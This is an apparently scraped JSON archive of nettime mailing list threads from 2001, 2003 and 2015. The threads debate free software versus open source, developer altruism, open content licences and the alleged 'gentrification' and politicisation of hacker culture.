though\n>and see work on Free Software as unalienated labour for which they are\n>willing to make economical sacrifices.\n\nTo which oliver frommel replied:\n> many software developers I know have right-wing libertarian views.\n\nAnd I'm sure there are many open source developers who are totally\napolitical....\n\nWhat I'm trying to understand is this: Does the shift from an impersonal\ncommodity to a personal service relationship (on the economic level)\ncombined with an abundant pool of resources and a task so complex that it\nis managed most effectively in a collaborative way, does this to some\ndegree mitigate otherwise competing interests between the 'self' and the\n'community'?\n\nIt is certainly not a given, but perhaps the open source experience shows a\nway into this direction.\n\nFelix\n\n\n\n\n\n\n\n\n\n--------------------++-----\nLes faits sont faits.\nhttp://felix.openflows.org\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00387",
                        "date": "Sun, 16 Dec 2001 14:56:56 -0500",
                        "to": "nettime-l@bbs.thing.net",
                        "message-id": "v03130300b841b16c2cfb@[24.43.135.56]",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00387.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "[Nettime-bold] RE: <nettime> The Fading Altruism of Open Source Developmen"
                    },
                    {
                        "content-type": "text/plai",
                        "from": "lorian Cramer <cantsin@zedat.fu-berlin.de>",
                        "id": "00431",
                        "content": "Am Mon, 17.Dec.2001 um 02:59:32 -0500 schrieb jaromil:\n \n> By reading David Lancashire's article and by following this thread i\n> still don't understand if you're voluntarily blurring differences\n> between \"free software\" and \"open source\" or you are simply ignorant:\n\nYes, it is indeed disappointed that a term that was (quite consciously)\ncoined as a depoliticized new economy marketing buzzword for Free\nSoftware has so widely been adopted in \"critical\" net cultures. \n\nThe \"Open Source FAQ\" of the Open Source Initiave says:\n\n   The Open Source Initiative is a marketing program for free software.\n   It's a pitch for \"free software\" on solid pragmatic grounds rather\n   than ideological tub-thumping. \n<http://www.opensource.org/advocacy/faq.html>   \n \n> Once cleared such a crucial difference for the discussion i'd like to\n> add my point of view about free software: _it is_ altruism, it has a\n\nIn fact, I argued along similar lines in my initial response because I\nhad jaromil - a great hacker, btw. - in my mind, regardless the fact\nthat much if not all Free Software development is coupled with\ncommercial software enterprise or side-projects. The real amount of\naltruism in Free Software development may be debated, but any programmer\nwho's mostly or even only in it for the money would be stupid to program\nanything but proprietary software (which, no doubt, is more profitable).\n\nFlorian\n\n-- \nhttp://userpage.fu-berlin.de/~cantsin/homepage/\nhttp://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\nGnuPG/PGP public key ID 3200C7BA \n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "date": "Tue, 18 Dec 2001 21:18:09 +0100",
                        "to": "\"nettime's digester\" <nettime-l@bbs.thing.net>",
                        "message-id": "20011218211809.P289@theuth.complit.fu&#45;berlin.",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00431.html",
                        "list": "nettime_bold",
                        "author_name": "Florian Cramer",
                        "subject": "[Nettime-bold] Re: <nettime> The Fading Altruism of Open Source Developmen"
                    },
                    {
                        "from": "elix Stalder <felix@openflows.org>",
                        "content": ">> By reading David Lancashire's article and by following this thread i\n>> still don't understand if you're voluntarily blurring differences\n>> between \"free software\" and \"open source\" or you are simply ignorant:\n>\n>Yes, it is indeed disappointed that a term that was (quite consciously)\n>coined as a depoliticized new economy marketing buzzword for Free Software\n>has so widely been adopted in \"critical\" net cultures.\n\nI quite deliberately (con)fuse the two, though I'm sure I'm also ignorant.\nI think separating now FSF/GNU and Open Source/Linux is like trying to\nseparate the ingredients of a meal after it has been cooked. It's pretty\npointless. It's clear that Linux and other Open Source projects heavily\nbuilt on FSF work, however, I think it's also clear that without Linux (and\nother projects) the great FSF would have remained a rather closed, albeit\npure, medium-sized club.\n\nOne of the most interesting aspects in this entire movement is the degree\nto which it has been able to absorb very different, even contradictory\nideas. Any attempt to purify this heterogeneous beast (to use a\nsemi-Latourian term) is pedantic at best, destructive at worst.\n\nSo far, I think the politics are still in the code, not in the label, and I\ncannot see much difference between Open Source/Linux GPL code and FSP GPL\ncode. But then again, I'm not a hacker.\n\n> but any programmer who's mostly or even only\n>in it for the money would be stupid to program anything but proprietary\n>software (which, no doubt, is more profitable).\n\nWhich is not necessarily true. I guess John Gilmore is still quite wealthy\n(good for the EFF).  However, this is totally besides the point. Whether\nsomeone makes money or not is not really the question, the question is the\nquality of the output  and its impact on others. The rest, from my point of\nview, is a life-style question.\n\nFelix\n\n--------------------++-----\nLes faits sont faits.\nhttp://felix.openflows.org\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00434",
                        "date": "Tue, 18 Dec 2001 21:14:11 -0500",
                        "to": "nettime-l@bbs.thing.net",
                        "message-id": "v03130304b845a2a8f696@[24.43.135.56]",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00434.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "[Nettime-bold] Re: <nettime> The Fading Altruism of Open Source Developmen"
                    }
                ],
                "message-id": "20011212154305.C20517@theuth.complit.fu&#45;berlin.",
                "date": "Wed, 12 Dec 2001 15:43:05 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin@zedat.fu-berlin.de>",
                "id": "00135",
                "content": ">From Martin Schulze's writeup of the 8th Linux Kongress:\n\n[Note: The Linux Kongress which this year took place in\nEnschede/Netherlands is the traditional, hardcore-technical meeting of\nLinux system developers. - Martin \"Joey\" Schulze is an important\ndeveloper of Debian GNU/Linux and guru in #LinuxGER (IRCNet) and #Debian\n(LISC).  -FC]\n\n> Also, interesting discussions about Free Software versus proprietery\n> Software came up ending in the question \"Does Free Software actually\n> use its power to come up with impressingly new ideas and use the\n> freedom to implement and try them?\"(*) An amazing (or depressing, for\n> what it's worth) number of Free Software Projects target at\n> reimplementing software that is already known in the commercial and\n> proprietary market.\n> \n> Since Free Software isn't bound to marketing droids and company bosses\n> dictating the goals and features of a particular software, it should\n> be perfectly suited to implement new ideas and come up with drastical\n> changes.  However, looking at many Free Software projects this doesn't\n> seem to be the case. New questions came ub as: Why are companies\n> required to come up with new ideas so often? Why are special design\n> centers needed for a new GUI to appear? Maybe the Free Software\n> Community lacks a number of cool artists and philosophers?\n\n[...]\n\n> (*) Some new ideas that were invented through Free Software include\n> BIND (internet nameserver, without it, the internet wouldn't be able\n> to exist), c-news and INN (Usenet news servers, electronic bulletin\n> boards etc.), themes (themable widget libraries, think of Gnome and\n> KDE), Enlightenment (even though some people may miss some\n> functionality, but it's look is definitively new), X11 (the ability to\n> export displays over the network), xiafs (who of you does remember the\n> filesystem Frank Xia designed?), HTML (of course, crediting Tim\n> Berners-Lee), Emacs (ever saw a lisp interpreter that can actually\n> edit files? Lacks a decent editor, but hey...), Languages like Perl,\n> Python and Ruby.\n\n[Full text at\n<http://www.infodrom.org/Debian/events/LinuxKongress2001/report.html>]\n\nFlorian\n\n-- \nhttp://userpage.fu-berlin.de/~cantsin/homepage/\nhttp://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\nGnuPG/PGP public key ID 3200C7BA \n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Thu, 6 Dec 2001 13:14:03 +0100",
                "to": "Nettime <nettime-l@bbs.thing.net>",
                "message-id": "20011206131403.D281@theuth.complit.fu&#45;berlin.",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00135.html",
                "list": "nettime_bold",
                "author_name": "Florian Cramer",
                "subject": "[Nettime-bold] Free Software and the lack of cool artists and philosophers"
            },
            {
                "id": "00015",
                "content": "Hi,\n\nI want to chime in but can only do so briefly as I am at CCC camp and\nnot online much. I found the essay provocative and it is undeniable that\nthese processes are under way but two things come to mind: this cycle has\nlong existed and in many quarters of the hacker community from the\nsecurity industry to hardware (the Homebrew club went from an informal\nassociation of hackers building association to a capitalist gold mine).\nThese processes are deeply cyclical and on going and I don't really\nexpect them to go away given how central computing is to capitalism.\n\nWhat was ommitted was the rather expanisive politicization of hacking we\nhave witnessed in the last five years thanks to the likes of Wikileaks\nand Anonymous (or as Julian Assange put it \" The political education of\napolitical technical people is extraordinary.\") This is not to say we\nshould not worry about cooptation/gentrification/recuperation. But it is\nas important to understand what has helped secure this flowering of\npolitical activisity today so that we can protect it in the future.\n\nI wrote a paper, Weapons of the Geek about the political turn in\nhacking. It is under review but am happy to share for those who want to\nsee an early copy. I am also pasting a section of the introduction below.\n\nBiella\n\n\n\nEven as they attain to a social primacy alongside the global\ncommunications technologies they have helped steward, entrenched\nstereotypes have precluded serious studies of the contemporary politics\nof hacking. Peering past the caricatures, we can see that hackers have\nlong used their skills for protest and overt political transformation\n(Jordan and Taylor 2004). Hacking itself has long exhibited a powerful,\nalbeit latent, political sub-text (Soderberg 2012; Wark 2004).But in the\npast five years, activist-motivated hacking has significantly enlarged\nits scope and continues to demonstrate nuanced and diverse ideological\ncommitments. Many of these commitments cannot be reduced to\n\"libertarianism,\" that ideology universalized by many observers as the\ncrux of hacker politics. For one, civil disobedience has surged in a\nvarietyof formats and styles, often in relation to leaks and\nexfiltration. We see lone leakers, like Chelsea Manning, and also\ncollectivist and leftist leaking endeavors, perhaps best exemplified by\nXnet in Spain. Other political engagements, similarly irreducible to\nlibertarian values alone, center around collective engagements at the\nlevel of software: hackers have recently coded up protocols (like\nBitTorrent) andtechnical platforms (like The Pirate Bay) to enable\npeer-to-peer file sharing and anti-copyright piracy (Beyer 2014;\nMcKelvey, forthcoming); sincethe 1980s, free software hackers have\nembedded their collectively produced programs with legal\nstipulationsthat have powerfully tilted the politics of intellectual\nproperty law in favor of access (Kelty 2008; Coleman 2013);\nAcrossEurope, Latin America,and the United States, anti-capitalist\nhackers run small but well-functioning collectives that\nofferprivacy-enhancing technical support and services for leftist\ncrusaders;Anonymous, a worldwide protest ensemble specializing in\ndigital direct dissent, has established itself asone of the most\npopulist manifestations of contemporary geek politics -- requiring no\ntechnical skills to contribute (Coleman 2014); and finally,on the more\nliberal front, civic and open government hackers throughout North and\nSouth Americahave sought to improve government transparency by creating\nopen standards andapplications thatfacilitate data access and sharing\n(Gregg and DiSalvo 2013; Schrock, forthcoming). Julian Assange, one of\nthe most prominent activist hackers, has recently highlighted the rather\ndramatic turn to activism and political engagement among geeky\ntechnologists. \"The political education of apolitical technical people\nis extraordinary\" (2014: 116), he noted during an interview.\n\nThere are no obvious, much less given, explanations as to why a group\nonce primarily defined by obscure tinkering and technical exploration\nnow engages so frequently in popular media advocacy, traditional policy\nand lawmaking, and activism -- including forms of civil disobedience so\nrisky that some in the community are currently in prison or living in\nexile.Working technologists are economically rewarded in*s*tep\nwithdoctors,lawyers,and academics -- and yet these professions produce far\nfewer politically-active practitioners. Why and how have hackers who\nenjoy a significant degree of social and economic privilege managed to\npreserve pockets of autonomy? What historical, cultural, and\nsociological conditions have facilitated their passage into the\npolitical arena, especially in such large numbers? This does not mean\nhackers should be blindly celebrated or denigrated, (as has often been\nthe case in the popular literature on hackers),but it does beg for\nanalysis andexplanation.\n\nIdeally, thebeginnings of an answerwould deeply charthacker activity\nalong two distinct vectors: thehistoricalandthe socio-cultural.\nHowever,an article of this lengthaffords only a single thread of\nanalysis. While my article will gesture at historical events and\ncircumstances, this article will foremost provide an introductory\ninventorya basic outline of an explanation -- of thesociological and\ncultural attributes most likely responsiblefor the unprecedented and\nmultitudinous intensification ofhacker politics duringthe last five\nyears. To begin, let's consider the idea of the \"hacker\" itself.\n\n\n     Dear Brett,\n\n     your essay is brilliant and obvious at the same time. I did enjoy\n     reading it, but still feels like scratching the surface as it does not\n     dig into other historical examples of cultural gentrification.\n      <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "nettime-l {AT} kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1508/msg00015.html",
                "list": "nettime_l",
                "author_name": "biella",
                "subject": "<nettime> gentrification of hacking",
                "from": "biella <biella {AT} riseup.net>",
                "follow-up": [
                    {
                        "from": "Brett Scott <b.r.scott.06 {AT} cantab.net>",
                        "content": "Thanks Biella,\n\nYou're much more of an expert on this than I am, so it's good to see\nthis. My main objective was to stir up debate a bit to keep people on\ntheir toes, rather than necessarily believing in the 'death of the\nhacker'. A lot of my writing has an ambiguous relationship to factual\nreality, or I often deliberately mix together descriptive accounts of\nthings with normative accounts of things I'd like to see, and\nsometimes they blend into one... well, perhaps this is a way of saying\nthat I am less an academic than I am a shit-stirrer, and sometimes I\nwill make things cruder than they actually are in order to push a\npolitical agenda. I want the politicization to continue, and pointing\nout the forces against politicization is one way I do that. Hope this\nmakes sense\n\nLooking forward to seeing Weapons of the Geek when it comes out!\n\nHope CCC camp is fun\nCheers!\nBrett\n {AT} suitpossum\n\n   On 15/08/2015 12:16, biella wrote:\n\nHi,\n\nI want to chime in but can only do so briefly as I am at CCC camp and\nnot online much. I found the essay provocative and it is undeniable that\nthese processes are under way but two things come to mind: this cycle has\nlong existed and in many quarters of the hacker community from the\nsecurity industry to hardware (the Homebrew club went from an informal\nassociation of hackers building association to a capitalist gold mine).\nThese processes are deeply cyclical and on going and I don't really\nexpect them to go away given how central computing is to capitalism.\n <...>\n\n   --\n   Brett Scott / 079 8243 7769 / LinkedIn / Blog\n     __________________________________________________________________\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00016",
                        "date": "Sun, 16 Aug 2015 20:58:32 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "bece635590292e1a9cc68d578a88a20b {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1508/msg00016.html",
                        "content-type": "text/plai",
                        "author_name": "Brett Scott",
                        "subject": "Re: <nettime> gentrification of hacking"
                    },
                    {
                        "from": "John Young <jya {AT} pipeline.com>",
                        "content": "\nGentrification of hacking is by those studying, reporting, historicizing,\nphilosophizing, theorizing, aestheticing, curating (spit) it. As with\ngentrification in general, it reifies the reification, a deft academic\nopportunism, one might be so vulgar as to say the very product of\nnettime and every growing crowd of cohorts. Amazon-ian in intent.\n\nGentrifiers dare not hack, but do inveigle their way into hacker havens,\npublish about hackers, testify against hackers, consult with governments\nabout hackers, speechify hackerdom at security fora, advise film and\nmedia about hackers, produce hacker-derived aesthetic objects, even\nadvise crude and obnoxious hackers about advancing careers as\nhacker, ex-hacker, hacker informer, undercover cop, covert agent\nacademic with hacker cred, and if all goes well sign on to distinguished\ninstitutions, cybersecurity corporations, and duplicitous NGOs like\nIn-tel-Q where PhDs are taxidermied for showboating at DefCons\nand CCCs, then on to global appearances via speaker bureaus\nand paid conferences,\n\nGentrifiers are allegeric to jail themselves but do exploit the few\nhackers who get nabbed through the assistance provided to\nlaw enforcement by gentrifiers, not least by celebrifying hackers\nso that officials are induced to go after them for budget enhancement.\n\nSo goes gentrification in all its vile piggish manifestations. Behold the\norigin of the term to cloak, deceive, defuse dissent, advance the\ninterests of property holders. White hat hacker cartels are making\na killling policing gentrification cyber real estate.\n\nAt 02:58 PM 8/16/2015, you wrote:\n\n",
                        "id": "00018",
                        "date": "Sun, 16 Aug 2015 15:40:24 -0400",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "02bfdcddab7b41af2ba68815850e0cca {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1508/msg00018.html",
                        "content-type": "text/plai",
                        "author_name": "John Young",
                        "subject": "Re: <nettime> gentrification of hacking"
                    },
                    {
                        "from": "\"Gabriella \\\"Biella\\\" Coleman\" <enid.coleman {AT} mcgill.ca>",
                        "content": "    Hi,\n\n   Sorry for the delay. Post camp life turned out to be far more\n   complicated than expected but I managed to cobble together a bit of a\n   short reply below.. But given how these discussions tend to metabolize\n   rather rapidly, I realize I might be too late.\n\n   On 15-08-17 06:00 AM, [1]nettime-l-request {AT} mail.kein.org wrote:\n\n----------------------------------------------------------------------\n\nMessage: 1\nDate: Sun, 16 Aug 2015 20:58:32 +0200\nFrom: Brett Scott [2]<b.r.scott.06 {AT} cantab.net>\nTo: [3]nettime-l {AT} kein.org\nSubject: Re: <nettime> gentrification of hacking\nMessage-ID: [4]<mailman.6.1439805601.55365.nettime-l {AT} mail.kein.org>\nContent-Type: text/plain; charset=us-ascii\n\nThanks Biella,\n\nYou're much more of an expert on this than I am, so it's good to see\nthis. My main objective was to stir up debate a bit to keep people on\ntheir toes, rather than necessarily believing in the 'death of the\nhacker'. A lot of my writing has an ambiguous relationship to factual\nreality, or I often deliberately mix together descriptive accounts of\nthings with normative accounts of things I'd like to see, and\nsometimes they blend into one... well, perhaps this is a way of saying\nthat I am less an academic than I am a shit-stirrer, and sometimes I\nwill make things cruder than they actually are in order to push a\npolitical agenda. I want the politicization to continue, and pointing\nout the forces against politicization is one way I do that. Hope this\nmakes sense\n\n\n\n   It does, to a point. We clearly reside in the same camp: we want to\n   encourage the processes of radicalization among the technorati. And\n   your piece is provocative enough (and written well enough) so that\n   people read it in large numbers and it ricocheted far and wide across\n   many sites. You did stir the pot of conversation, which is a really\n   good thing.\n   Still as already stated, my worry, which is less academic and more\n   pragmatic, concerns precisely how to most productively push a political\n   agenda. The window of activist activity we are witnessing is both\n   remarkable (and remarkably robust) but completely fragile--and again\n   precisely due to the economic dynamics you lay out. Your piece may have\n   identified a problem (one again that is more cyclical, and on going\n   than new) but it also missed an opportunity to nudge those who harbor a\n   political/activist sensibility toward the site of struggle. These are\n   exciting times precisely because there is rich and active terrain of\n   struggle with large numbers of hackers and geeks willing to enter fully\n   into the political arena. A number of folks tweeting your piece made it\n   seem like there was once possibilities and now they have have slipped\n   through our fingers. That is a dangerous (and empirically wrong\n   message) to send to the public at large.\n   There is no need to belabor the point but I guess I raise it a final\n   time for the sake of future writings. I just think you could have been\n   more effective--as a shit-stirring provocateur--had you loudly and\n   proudly pointed to those who have decided not to accept the path of\n   gentrification for the sake of a better world so that others with a\n   activist sensibility could join they rabble rousing party ;)\n\n   Take care,\n   Biella\n\n   Biella\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00027",
                        "date": "Mon, 24 Aug 2015 09:03:59 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "99438cb2b8e7442e2b03c0fc70af4d39 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1508/msg00027.html",
                        "content-type": "text/plai",
                        "author_name": "Gabriella \\\"Biella\\\" Coleman",
                        "subject": "Re: <nettime> gentrification of hacking"
                    },
                    {
                        "from": "John Hopkins <jhopkins {AT} neoscenes.net>",
                        "content": "\nBiella --\n\nsome musings on your note:\n\n",
                        "id": "00032",
                        "date": "Mon, 24 Aug 2015 10:57:58 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "83b28b6b7bfe1e0ed81f6639ae342047 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1508/msg00032.html",
                        "content-type": "text/plai",
                        "author_name": "John Hopkins",
                        "subject": "Re: <nettime> gentrification of hacking"
                    },
                    {
                        "content-type": "text/plai",
                        "from": "lorian Cramer <fcramer {AT} pleintekst.nl>",
                        "id": "00033",
                        "content": "   When Stephen Levy wrote \"Hackers\" in 1984, his description of hacker\n   culture and his write-up of the hacker ethic were, to a considerable\n   part, based on Richard Stallman. Already in that year, Levy called\n   Stallman the \"last of the true hackers\". Stallman created the GNU\n   Project in the same year out of frustration of what had become - or how\n   little had remained - of the original M.I.T. hacker culture. Even the\n   GNU Project itself involves \"gentrification\" in the sense that\n   development of some of its subprojects (such as the GNU C Compiler, the\n   GNU C Library and the GNOME desktop) has become largely corporate. GNU\n   intentionally never imposed prohibitions on commercial and particular\n   political/military uses of software licensed under its terms. This\n   position continues to be criticized by other hackers, for example by\n   Felix von Leitner from Chaos Computer Club.\n   All this suggests that the \"gentrification of hacking\" is not a new\n   phenomenon, but that it has been a part of hacker culture since its\n   early days.\n   -F\n\n   On Mon, Aug 24, 2015 at 7:57 PM, John Hopkins\n   <[1]jhopkins {AT} neoscenes.net> wrote:\n\n     Biella --\n     some musings on your note:\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "date": "Wed, 26 Aug 2015 15:42:03 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "f01e1dae8214bdbd49fa020fda9d3da4 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1508/msg00033.html",
                        "list": "nettime_l",
                        "author_name": "Florian Cramer",
                        "subject": "Re: <nettime> gentrification of hacking"
                    },
                    {
                        "from": "Antonio <in.an.autumn.garden {AT} gmail.com>",
                        "content": "   I am sure that many of your already read these articles or they know\n   them by heart\n\n   Nonetheless I feel like refreshing your memory:\n\n   http://peerproduction.net/issues/issue-3-free-software-epistemics/peer-reviewed-papers/free-software-trajectories-from-organized-publics-to-formal-social-enterprises/\n\n   http://peerproduction.net/issues/issue-3-free-software-epistemics/debate/there-is-no-free-software/\n\n   Also, since \"gentrification\" is the key issue in here, I would like to\n   quote this passage from Blake in his review of Richard Smith (2003)\n   work which I think could fit the ongoing discussion:\u00c2\n\n   \"In actuality, networks may contain ubiquitous actants occupying fluid\n   positions, who like Deleuze and Guattari's (1987) 'journeymen' and\n   'monsters' operate in relation to mechanisms of control but also retain\n   lines of escape of their own. This can be illustrated by Neil Smith's\n   (1992) analysis of the position of artists in the gentrification\n   process. In the Lower East Side artists can be seen to have a\n   meditating influence in gentrification, since low rents and government\n   subsidy may attract them to an areas, raising its cultural image enough\n   to attract gentrification. Nevertheless they have a ubiquitous role in\n   this process, since rising prices may finally push many artists out of\n   the neighbourhoods and some may therefore support activities from\n   original residents resisting gentrification. At the same time however,\n   artists may benefit from new markets created by the gentrifiers,\n   leading to the presence of oppositional art in mainstream galleries. In\n   this sense artists can be seen to occupy a fluid position in the\n   networks linking gentrifiers with the established community. Thus they\n   may be seen as an example of the non-conforming identities described by\n   Star (1991: 39), in that they operate \"between the categories, yet in\n   relationship to them\".\"\n\n   a.\n\n   2015-08-26 15:42 GMT+02:00 Florian Cramer <fcramer {AT} pleintekst.nl>:\n\n     \u00c2  \u00c2 When Stephen Levy wrote \"Hackers\" in 1984, his description of hacker\n     \u00c2  \u00c2 culture and his write-up of the hacker ethic were, to a considerable\n     \u00c2  \u00c2 part, based on Richard Stallman. Already in that year, Levy called\n     \u00c2  \u00c2 Stallman the \"last of the true hackers\". Stallman created the GNU\n     \u00c2  \u00c2 Project in the same year out of frustration of what had become - or how\n     \u00c2  \u00c2 little had remained - of the original M.I.T. hacker culture.\n <...>\n\n\n",
                        "id": "00035",
                        "date": "Thu, 27 Aug 2015 03:04:55 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "a00c9c4a2bdd2f179d7ad7058a77a186 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1508/msg00035.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Antonio",
                        "subject": "Re: <nettime> gentrification of hacking"
                    },
                    {
                        "from": "\"Erich M.\" <me {AT} quintessenz.org>",
                        "content": "On 2015-08-26 15:42, Florian Cramer wrote:\n\n>    When Stephen Levy wrote \"Hackers\" in 1984, his description of hacker\n>    culture and his write-up of the hacker ethic were, to a considerable\n>    part, based on Richard Stallman. \n\nRight. And these hacker ethics are derived from the \"ham spirit\" of the\nearly 1920ies. That was right after the first ever machine centric war\n\"Gentrifiction?\". Ladies and gents of nettime-list are you for real?\ncccamp2015 was like an amateur radio fieldday, but futuristic and\nsteampunk as well.\nCan you imagine a five days outdoor event of 4.800 people in the midst\nof nowhere without any blue lights or uniforms ever visible? No fights\nnone stone drunk, nothing. But 40 GBit local, 10 GBit uplink. 8 GSM\nstations, own SIMs, 2.700 fones on the DECT wireless network, all\ninterconnected. Not to forget the military field 4 KM telephone system\nand the ham UHF repeater station. The latter technologies were really in\nuse, when the nets were run down and +2000 people had to be evacuated\ntemporarily because all these high tents, antenna masts were not\ngrounded adequatly any more. 5 days of 37 C and a sandy ground,\nsurrounded by water. An evil high power capacitor eye in the landscape\nfacing a another pole in the troposphere potentially VERY evil..\nHere is a report what happened...\n\nhttp://fm4.orf.at/stories/1761897/\n\nThis is all not about gentrification which is a ridiculously useless\nbecause purely ideologic term btw.\ncccamps have always been the breeding ground for projects presented at\ncongress thereafter.\nYou could not distinguish between hackers, hams or makers. Rather young\nfamilies, even singles or pairs in their 50ies or 60ies.\nWait what? gentrification? What about adding some field research to your\nfree flow of hypotheses?\n73 de Erich M. OE3EMB\n\nPost/scrypt: Jaromil, where the fuq are you when you are needed in a\ndiscussion? LOL\n\n <...>\n\n\n-- \n\nhttps://moechel.com/kontakt        PGP KEY 0x2440DE65\nfingerprint A564 1457 71C3 E907 6D78 429E 76F3 C66E 2440 DE65\n--... ...--   -.. .   . .-. .. -.-. ....   --- . ...-- . -- -...\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00036",
                        "date": "Thu, 27 Aug 2015 02:11:17 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "938ed1b12beda0e1da8afc9c48b8be96 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1508/msg00036.html",
                        "content-type": "text/plai",
                        "author_name": "Erich M.",
                        "subject": "Re: <nettime> gentrification of hacking"
                    }
                ],
                "message-id": "3be8701b4fa6bb8e5bd3c1779447278b {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Sat, 15 Aug 2015 12:16:23 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00009",
                "content": "\nAm Dienstag, 26. August 2003 um 17:07:02 Uhr (+0200) schrieb Felix\nStalder:\n \n> These limitations refer to the kind of problems that can be addressed\n> through the current form of social organization developed in the Open\n> Source Movement. The way Open Source Projects are organized reflects\n> the specifics of problem -- developing software -- and thus they\n> cannot serve as a model to address problem with very different\n> characteristics.\n> \n> This does not mean that other problems, for example, the development\n> of drugs, cannot be organized in an open way, but this 'open way' will\n> have to look very different from the way Open Source Software projects\n> are organized because the problem of creating drugs is very different\n> from the problem of creating software. In other words, there is an\n> intimate relationship between the characteristics of the problem and\n> the social organization of its solution.\n\nA good example are \"Open Content\" licenses. They have departed\nsignificantly from Free Software/Open Source licenses wherever they allow\nto restrict modification and commercial distribution of a work. Therefore,\nthe two major \"Open Content\" licenses, the GNU Free Documentation License\n(used by, among others, the Wikipedia) and the Open Publication License,\nare non-free or non-Open Source. As a consequence, the Debian project\nrecently considered moving software documentation released under the GNU\nGDL into its non-free section. - The same is true, btw., for the 12\nlicenses \"Creative Commons\" <http://www.creativecommons.org> offers of\nwhich only 4 qualify as \"Free\" or \"Open Source\" according to the Debian\nFree Software Guidelines and the Open Source Definition. If \"Open Content\"\nneeds other legal regulations than Free Software, then obviously because\nof the different social issues of writing, for example, books as opposed\nto writing software. (Which doesn't mean that these fields couldn't\nconverge very soon - for example through the need for authors to write\ncomplex XML markup, use revision control and content management systems\netc., so that the traditional distinction will get more and more blurred.)\n\nNevertheless, this is a good opportunity to question the venerable\ncopyright statement of Nettime:\n\n\"distributed via <nettime>: no commercial use without permission\".\n\nIn order to turn Nettime into a truly public and free resource, I suggest\nto change this line into\n\n\"distributed via <nettime>; unless stated otherwise by the author,\npermission is granted to copy, distribute and/or modify this document\nunder the terms of the GNU Free Documentation License, Version 1.1\"\n\n\n-F\n-- \nhttp://userpage.fu-berlin.de/~cantsin/homepage/\nhttp://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\nGnuPG/PGP public key ID 3200C7BA, finger cantsin {AT} mail.zedat.fu-berlin.de\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Tue, 2 Sep 2003 17:06:03 +0200",
